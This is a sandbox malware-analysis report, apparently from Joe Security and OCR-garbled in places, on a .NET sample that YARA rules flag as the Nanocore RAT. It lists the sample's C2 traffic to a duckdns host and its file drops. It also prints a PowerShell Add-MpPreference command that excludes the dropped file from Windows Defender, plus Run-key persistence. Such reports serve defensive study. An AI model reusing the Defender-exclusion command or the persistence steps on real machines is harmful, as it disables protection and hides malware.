add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name

IMAGE_DIRECTORY_ENTRY_EXPORT

IMAGE_DIRECTORY_ENTRY_IMPORT

IMAGE_DIRECTORY_ENTRY_RESOURCE

IMAGE_DIRECTORY_ENTRY_EXCEPTION

IMAGE_DIRECTORY_ENTRY_SECURITY

IMAGE_DIRECTORY_ENTRY_BASERELOC

IMAGE_DIRECTORY_ENTRY_DEBUG

IMAGE_DIRECTORY_ENTRY_COPYRIGHT

IMAGE_DIRECTORY_ENTRY_GLOBALPTR

IMAGE_DIRECTORY_ENTRY_TLS

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
IMAGE_DIRECTORY_ENTRY_IAT
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name Virtual Address
text 0x2000

.rsrc 0xe4000

.reloc 0x110000

Copyright Joe Security LLC 2022

Virtual Size

0xe0842

0x2a444

Oxc

Raw Size

0xe0a00

0x2a600

0x200

Virtual Address
0x0
0xe272c
0xe4000
0x0

0x0
0x110000
0xe2776
0x0

0x0

0x0

0x0

0x0
0x2000
0x0
0x2008
0x0

Xored PE

False

False

False

ZLIB Complexity

0.658796561978

0.465731010324

0.044921875

Virtual Size
0x0
Ox4a
0x2a444
0x0

0x0

oxc
Oxlc
0x0

0x0

0x0

0x0

0x0

0x8

0x0
0x48
0x0

File Type Entropy

data 6.37967879264

data 6.03756729302

data 0.101910425663

Is in Section

text

.Isrc

.reloc

text

text

text

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ
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Resources

Name RVA Size
RT_ICON Oxe42c8 0x2e8
RT_ICON 0xe45b0 0x128
RT_ICON Oxe46d8 Oxea8
RT_ICON 0xe5580 0x8a8
RT_ICON Oxe5e28 0x568
RT_ICON 0xe6390 0xa460
RT_ICON 0xfo7f0 0x10828
RT_ICON 0x101018 0x94a8
RT_ICON 0x10a4c0 0x25a8
RT_ICON 0x10ca68 0x10a8
RT_ICON 0x10db10 0x468
RT_GROUP_ICON 0x10df78 0xa0
RT_VERSION 0x10e018 0x42c
Imports

DLL

mscoree.dll

Version Infos
Description
Translation
LegalCopyright
Assembly Version
InternalName
FileVersion
CompanyName
ProductName
ProductVersion
FileDescription

OriginalFilename

Network Behavior

Network Port Distribution

TCP Packets

Copyright Joe Security LLC 2022

Type Language
data

GLS_BINARY_LSB_FIRST

data

data

GLS_BINARY_LSB_FIRST

PNG image data, 256 x 256, 8-bit/color RGBA, non-
interlaced

data
data
data
data
GLS_BINARY_LSB_FIRST
data

data

Import

_CorExeMain

Data

0x0000 0x04b0

Microsoft Corporation All rights reserved.
2.0.1.0
Microsoft.Owin.Host.HttpListener.dll
2.0.21023.443

Microsoft Corporation

Microsoft OWIN

201

Microsoft.Owin.Host.HttpListener (1f01288e0e44a0c3f656ffdc0d7427ed9d579b11)

Microsoft.Owin.Host.HttpListener.dll

Total Packets: 17

® 53 (DNS)
@ 6662 undefined

Country
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Timestamp Source Port Dest Port Source IP Dest IP

May 21, 2022 01:50:38.760529041 CEST 49745 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:50:41.865693092 CEST 49745 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:50:47.866264105 CEST 49745 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:51:02.842309952 CEST 49760 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:51:05.867650032 CEST 49760 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:51:11.977586031 CEST 49760 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:51:25.997209072 CEST 49766 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:51:29.182152987 CEST 49766 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:51:35.182646036 CEST 49766 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:51:50.071666002 CEST 49778 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:51:53.106066942 CEST 49778 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:51:59.200361967 CEST 49778 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:52:10.697129011 CEST 49815 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:52:13.685993910 CEST 49815 6662 192.168.2.3 185.220.69.56

May 21, 2022 01:52:19.686460018 CEST 49815 6662 192.168.2.3 185.220.69.56

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 21, 2022 01:51:49.936625957 CEST 52985 53 192.168.2.3 8.8.8.8

May 21, 2022 01:51:50.043879032 CEST 53 52985 8.8.8.8 192.168.2.3

May 21, 2022 01:52:10.280821085 CEST 52581 53 192.168.2.3 8.8.8.8

May 21, 2022 01:52:10.390171051 CEST 53 52581 8.8.8.8 192.168.2.3

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 21, 2022 01:51:49.936625957 CEST 192.168.2.3 8.8.8.8 0xb63d Standard query  nwme22.duc A (IP address) IN (0x0001)
0) kdns.org

May 21, 2022 01:52:10.280821085 CEST 192.168.2.3 8.8.8.8 0x2e78 Standard query  nwme22.duc A (IP address) IN (0x0001)
0) kdns.org

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 21, 2022 8.8.8.8 192.168.2.3 0xb63d No error (0) nwme22.duc 185.220.69.56 A (IP address) IN

01:51:50.043879032 CEST kdns.org (0x0001)

May 21, 2022 8.8.8.8 192.168.2.3 0x2e78 No error (0) nwme22.duc 185.220.69.56 A (IP address) IN

01:52:10.390171051 CEST kdns.org (0x0001)

Statistics

Behavior

@ SecuriteInfo.com.Variant.Tedy.122...
@ powershell.exe

@ conhost.exe

@ powershell.exe

@ conhost.exe

@ powershell.exe

@ conhost.exe

@ SecuriteInfo.com.Variant.Tedy.122...
® Securitelnfo.com.Variant. Tedy.122...
@ svchost.exe

@ svchost.exe

@ svchost.exe

@ svchost.exe

@ svchost.exe

@ svchost.exe

@ svchost.exe

@ Click to jump to process
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System Behavior

Analysis Process: Securitelnfo.com.Variant.Tedy.122593.7296.exe PID: 6272, Parent PID: 4532

General

Target ID: 0

Start time: 01:50:05

Start date: 21/05/2022

Path: C:\Users\user\Desktop\SecuriteInfo.com.Variant. Tedy.122593.7296.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\Securitelnfo.com.Variant. Tedy.122593.7296.exe"
Imagebase: 0xc30000

File size: 1094656 bytes

MDS5 hash: A3F9DB216C595BBB5081AD0430248975

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:

00000000.00000002.316156238.0000000004353000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000000.00000002.316156238.0000000004353000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: NanoCore, Description: unknown, Source: 00000000.00000002.316156238.0000000004353000.00000004.00000800.00020000.00000000.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

o Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000000.00000002.315747535.00000000042C6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_ UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source:
00000000.00000002.315747535.00000000042C6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

¢ Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000000.00000002.316607101.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000000.00000002.316607101.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

¢ Rule: NanoCore, Description: unknown, Source: 00000000.00000002.316607101.00000000043DA000.00000004.00000800.00020000.00000000.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

Reputation: low

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Program Files\Common Files\System\9f3df393cbbd19b read data or list  device directory file | success or wait 1 6C15BEFF CreateDirect
directory | synchronous io oryWw
synchronize non alert | open
for backup ident
| open reparse
point
C:\Program Files\Common Files\ read attributes |  device synchronous io  success or wait 1 6C151E60 CreateFileW
System\9f3df393cbbd19b\svchost.exe synchronize | non alert | non
generic write directory file |
open no recall
C:\Users\user read data or list  device directory file | object name collision 1 6DCCCF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 6DCCCF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Mi read attributes |  device synchronous io  success or wait 1 6DFDC78D CreateFileW
crosoft\CLR_v4.0_32\Usagelogs\ synchronize | non alert | non
Securitelnfo.com.Variant. Tedy.122593.7296.exe.log generic write directory file
File Written
File Path Offset Length Value Ascii Completion Count Source Address Symbol
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File Path

C:\Program Files\Common Files\
system\9f3df393cbbd19b\svchost.exe

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\Usagelogs\
Securitelnfo.com.Variant.Tedy.
122593.7296.exe.log

File Read

File Path

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152

Offset

0

0

Length Value

109465 4d 5a fd 00 03 00 00 00

6

1308

fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Users\user\Desktop\Securitelnfo.com.Variant. Tedy.122593.7296.exe

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config

04 00 00 00 fd fd 00 00 fd
00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
207072 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24 00
00 00 00 00 00 00 50 45
00 00 4c 01 03 00 7a fd
67 52 00 00 00 00 00 00
00 00 fd 00 02 01 Ob 01
30 00 42 08 0e 00 00 fd
02 00 00 00 00 00 3c 28
Oe 00 00 20 00 00 00 40
Oe 00 00 00 40 00 00 20
00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00
00 00 00 00 00 00 00 20
11 00 00 02 00 00 00 00
00 00 02 00 60 fd 00 00
10 00 00 10 00 00 00 00
10 00 00 10 00 00 00 00
00 00 10 00 00 00 00 00
00 00 00 00 00

31 2c 22 66 75 73 69 6f
6e 22 2c 22 47 41 43 22
2c¢ 30 0d 0a 31 2¢ 22 57
69 6e 52 54 22 2c 22 4e
6f 74 41 70 70 22 2¢ 31
0d 0a 32 2c 22 4d 69 63
72 6f 73 6f 66 74 2e 56
69 73 75 61 6¢ 42 61 73
69 63 2c 20 56 65 72 73
69 6f 6e 3d 31 30 2e 30
2e 30 2e 30 2c 2043 75
6¢ 74 75 72 65 3d 6e 65
757472 61 6¢ 2¢ 20 50
75 62 6¢ 69 63 4b 65 79
54 6f 6b 65 6e 3d 62 30
3366 35 66 37 66 31 31
64 3530 61 33 61 22 2¢
30 0d 0a 32 2¢ 22 53 79
7374 65 6d 2e 57 69 6e
64 6f 77 73 2e 46 6f 72
6d 73 2c 20 56 65 72 73
69 6f 6e 3d 34 2e 30 2e
30 2e 30 2¢ 20 43 75 6¢
74 75 72 65 3d 6e 65 75
7472 61 6¢ 2¢c 20 50 75
62 6¢ 69 63 4b 65 79 54
6f 6b 65 6e 3d 62 37 37
61 3563 3536 31 39 33
34 65 30 38 39 22 2¢ 30
0d 0a 33 2¢ 22 53 79 73
74 65 6d 2c 20 56 65 72
73 69 6f 6e 3d 34 2e

Offset
unknown
unknown

unknown

unknown

unknown

unknown

unknown

uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio

n.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f

unknown

1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2

unknown

19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux
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Ascii

MZ@!L!This program
cannot be run in DOS
mode.$PELzgROB<(

@@ -

1,"fusion","GAC",01,"Win
RT","N
otApp",12,"Microsoft.Visu
alBasic,
Version=10.0.0.0,
Culture=neutral,
PublickeyToken=b03f5f
7f11d50a3a",02,"System.
Windows.Forms,
Version=4.0.0.0, Cultu
re=neutral,
PublickeyToken=b77
a5c561934e089",03,"Sys
tem, Version=4.

Length
4095
6135
176

4095
620

1094656
864
900

748

Completion

success or wait

success or wait

Completion
success or wait
success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 6C151B4F

1 6DFDC907

Count Source Address

1 6DCA5705
1 6DCA5705
1 6DCO03DE
1 6DCACA54
1 6DCO03DE
1 6C151B4F
1 6DCO03DE
1 6DCO03DE
i 6DCO03DE

Symbol

WriteFile

WriteFile

Symbol
unknown
unknown

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

Registry Activities
Key Created

Key Path

Offset Length
unknown 4095
unknown 8171
unknown 4096
unknown 4096

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions

HKEY_LOCAL_MACHINE\SOFTWARE\WOW#6432Node\Microsoft\Windows Defender\Exclusions\Paths

Key Value Created
Key Path Name Type
HKEY_LOCAL_MACHINE\SOFT  C:\Program dword
WARE\WO Files\Common
W6432Node\Microsoft\Windows Files\
Defender\Exclusions\Paths System\9f3df39
3cbbd19b\svcho
st.exe
HKEY_LOCAL_MACHINE\SOFT  C:\Users\user\D dword
WARE\WO esktop\Securite
W6432Node\Microsoft\Windows Info.com.Variant
Defender\Exclusions\Paths .Tedy.122593.7
296.exe
HKEY_CURRENT_USER\Softwar blbbd3cd1f3dc3 unicode
e\Mic f
rosoft\Windows\CurrentVersion\
Run
HKEY_CURRENT_USER\Softwar = blbbd3cd1f3dc3 unicode
e\Mic f
rosoft\Windows\CurrentVersion\
RunOnce

Data

C:\Program Files\Common Files\

Completion
success or wait
end of file
success or wait

end of file

Completion

success or wait

success or wait

success or wait

Completion

success or wait

success or wait

success or wait

System\9f3df393cbbd19b\svchost.exe

C:\Program Files\Common Files\

success or wait

System\9f3df393cbbd19b\svchost.exe

Analysis Process: powershell.exe PID: 6668, Parent PID: 6272

General

Target ID: 4

Start time: 01:50:17
Start date: 21/05/2022
Path:

Wow64 process (32bit): true

Commandline:
bd19b\svchost.exe" -Force

Imagebase: 0x13d0000

File size: 430592 bytes

MD5 hash: DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges: true

Has administrator true

privileges:
Programmed in: .Net C# or VB.NET
Reputation: high

File Activities

File Created

File Path Access

Copyright Joe Security LLC 2022

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Attributes Options

Completion

Count

N

Count

Source Address

6DCA5705
6DCA5705
6C151B4F
6C151B4F

Source Address

6C155F3C

6C155F3C

6C155F3C

Count Source Address

1 6C15C075
1 6C15C075
1 6C15646A
1 6C15646A

Count Source Address

Symbol

unknown
unknown
ReadFile

ReadFile

Symbol

RegCreateKeyEx
w

RegCreateKeyEx
w

RegCreateKeyEx
w

Symbol

RegSetValueEx
w

RegSetValueEx
W

RegSetValueEx
W

RegSetValueEx
w

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\9f3df393ch

Symbol
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File Path

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_imah35ms.0df.ps1

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_wscgOfwl.uj4.psm1

C:\Users\user\Documents\20220521

C:\Users\user\Documents\20220521\PowerShell_transcr

ipt.932923.6StRbMiQ.20220521015018.txt

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_imah35ms.0df.ps1

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_wscgOfwl.uj4.psm1

File Written
File Path Offset

C:\Users\user\AppData\Local\Te 0
mp\__PSscr
iptPolicyTest_imah35ms.0df.ps1

C:\Users\user\AppData\Local\Te 0
mp\__PSscr
iptPolicyTest_wscgOfwl.uj4.psm1

C:\Users\user\Documents\202205 0
21\PowerShell_transcr
ipt.932923.6StRbMiQ.2022052101501
8.txt

Copyright Joe Security LLC 2022

Length

1

Access

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read data or list
directory |
synchronize

read attributes |
synchronize |
generic read |
generic write

Value

31

31

Attributes

device

device

device

device

device

device

device

device

Ascii

Options Completion

directory file | object name collision
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file | object name collision
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file | object name collision
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file | object name collision
synchronous io

non alert | open

for backup ident

| open reparse

point

sequential only | ' success or wait
synchronous io

non alert | non

directory file |

open no recall

sequential only | ' success or wait
synchronous io

non alert | non

directory file |

open no recall

directory file | success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

synchronous io  success or wait
non alert | non

directory file |

open no recall

Completion
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

Count Source Address

1 6DCCCF06
1 6DCCCF06
1 6C0B5B28
1 6C0B5B28
1 6C151E60
1 6C151E60
1 6C15BEFF
1 6C151E60

Count Source Address

1
1

6C156A95
6C156A95

Count Source Address

1

1

1

6C151B4F

6C151B4F

6C151B4F

Symbol

unknown

unknown

unknown

unknown

CreateFileW

CreateFileW

CreateDirect
oryWw

CreateFileW

Symbol
DeleteFilew

DeleteFilew

Symbol

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\Documents\202205
21\PowerShell_transcr

ipt.932923.6StRbMiQ.2022052101501

8.txt

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonlInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-Nonlnteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonlInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonlInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonlInteractive

Copyright Joe Security LLC 2022

Offset

3

64

104

255

1084

Length Value

703

64

40

32

2a2a2a?2a2a?2a2a?a
2a 2a2a?2a2a?2a?2a?a
2a 2a 2a2a2a2a0d0a
57 69 6e 64 6f 77 73 20
50 6f 77 65 72 53 68 65
6c 6¢ 20 74 72 61 6e 73
6372697074207374
61 72 74 0d 0a 53 74 61
72 74 20 74 69 6d 65 3a
2032 303232303532
31 30 31 3530 32 30 0d
0a 55 73 65 72 6e 61 6d
65 3a 20 44 45 53 4b 54
4f 50 2d 37 31 36 54 37
37315c 68617264 7a
0d 0a 52 75 6e 41 73 20
55 73 65 72 3a 20 44 45
53 4b 54 4f 50 2d 37 31
36 54 37 37 31 5¢ 68 61
72 64 7a 0d Oa 43 6f 6e
66 69 67 75 72 61 74 69
6f 6e 20 4e 61 6d 65 3a
20 0d Oa 4d 61 63 68 69
6e 65 3a 20 39 33 32 39
32332028 4d 69 63 72
6f 73 6f 66 74 20 57 69
6e 64 6f 77 73 20 4e 54
20 31 30 2e 30 2e 31 37
31 33 34 2e 30 29 0d Oa
48 6f 73 74 20 41 70 70
6¢ 69 63 61 74 69 6f 6
3a 20 43 3a 5¢ 57 69

40 00 00 01 65 00 00 00
00 00 00 00 11 00 00 00
55 14 00 00 18 00 00 00
68 0d fd 04 fd 08 7b 08

78 08 00 00 fd 00 fd 00

16 00 49 0d 00 00 00 00
00 00 00 00 04 40 00 fd
00 00 00 00 00 00 00 00

48 00 00 02 03 00 00 00
00 00 00 00 01 00 00 00
3c 40 fd 5e 7f 4c fd 22 4d
79 fd fd fd 3a 3a 00 00 00
0Oe 00 20 00

4d 69 63 72 6f 73 6f 66
74 2e 50 6f 77 65 72 53
68 65 6¢ 6C 2e 43 6f 6e
73 6f 6¢ 65 48 6f 73 74

00

54 00 00 02

Ascii Completion Count Source Address

FRkkkkkkkekekee\Windo - success or wait 30
ws PowerShell transcript
startStart time:
20220521015020Userna
me: computer\userRunAs
User:
computer\userConfigurati
on Name: Machine:
932923 (Microsoft
Windows NT
10.0.17134.0)Host
Application: C:\Wi

6C151B4F

success or wait 1 6DF976FC

@eUh{xI@

H<@"L"My:: success or wait 16 6DF976FC

Microsoft.PowerShell.Co  success or wait 16 6DF976FC

nsoleHost
6DF976FC

success or wait 10

T success or wait 10 6DF976FC

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset Length Value Ascii Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Mi 1088 2044 01 00 00 00 00 00 00 00  7,fiD*Microsoft. Managem  success or wait 10 6DF976FC WriteFile
crosoft\Windows\PowerShell\Sta 01 000000 fd 37 fd 2c fd = ent.Inf
rtupProfileData-NonInteractive 66 69 44 fd 17 fd 1a fd Od rastructure.NativeT@>@

fd fd fd 00 00 00 Oe 00 2a @V@H@X@|

00 4d 69 63 72 6f 73 6f @NT@QHT@S@S@hT@

66 74 2e 4d 61 6e 6167 S@S@S@\@RT@T@@X

65 6d 65 6e 74 2e 49 6e @?

6672617374727563 X@T@S@S@T@T@XT

747572652e4e6174 @zT@T@=M@DM@:M

69 76 650000000800 @"M@ M@

03 00 Oe fd 00 01 Oe fd

00 02 Oe fd 00 03 Oe fd

00 04 Oe fd 00 05 Oe fd

00 06 Oe fd 00 07 Oe fd

00 08 Oe fd 00 09 Oc fd

00 54 01 40 00 fd 3e 40

01 fd 00 40 00 56 01 40

00 48 01 40 00 58 01 40

00 5b 01 40 00 4e 54 40

01 48 54 40 01 fd 53 40

01 fd 53 40 01 68 54 40

01 fd 53 40 01 fd 53 40

01 fd 53 40 01 5c 01 40

00 00 54 40 01 02 54 40

01 40 58 40 01 3f 58 40

01 1c 54 40 01 fd 53 40

01 fd 53 40 01 1e 54 40

0119 54 40 01 78 54 40

01 7a 54 40 01 fd 54 40

01 3d 4d 40 01 44 4d 40

01 3a 4d 40 01 22 4d 40

01 20 4d 40
File Read
File Path Offset Length Completion Count Source Address Symbol
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6DCA5705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 6135 success or wait 1 6DCA5705 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown 176 success or wait 1 6DCO03DE ReadFile
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6DCACA54 ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6DCACA54 ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6DCACA54 ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 6DCO03DE ReadFile
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 6DCO03DE ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6DCA5705 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 6DCO03DE ReadFile
19d4630d26b88041b59c21e8e2b95¢c\System.Xml.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown 748 success or wait 1 6DCO03DE ReadFile
9f6405#\ccc7¢82770f93d1392abde4be3a80378\Microsoft.Managemen
t.Infrastructure.ni.dll.aux
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 8171 end of file 1 6DCA5705 unknown
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown 64 success or wait 1 6DCB1F73 ReadFile
rtupProfileData-NonlInteractive
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown 23192 success or wait 1 6DCB203F ReadFile
rtupProfileData-NonInteractive
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DC003DE ReadFile
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio
n.ni.dll.aux
C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 4096 success or wait 1 6C151B4F ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1
C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 492 end of file 1 6C151B4F ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft. PowerShell.Op
eration.Validation.psd1
C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 4096 end of file 1 6C151B4F ReadFile

owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1
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File Path Offset Length Completion Count Source Address Symbol

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 success or wait 1 6C151B4F ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 774 end of file 1 6C151B4F ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 end of file 1 6C151B4F ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 2 6C151B4F ReadFile
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6C151B4F ReadFile
0\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 2 6C151B4F ReadFile
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6C151B4F ReadFile
0\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 7 6C151B4F ReadFile
O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 682 end of file 1 6C151B4F ReadFile
O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6C151B4F ReadFile
O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 1 6C151B4F ReadFile
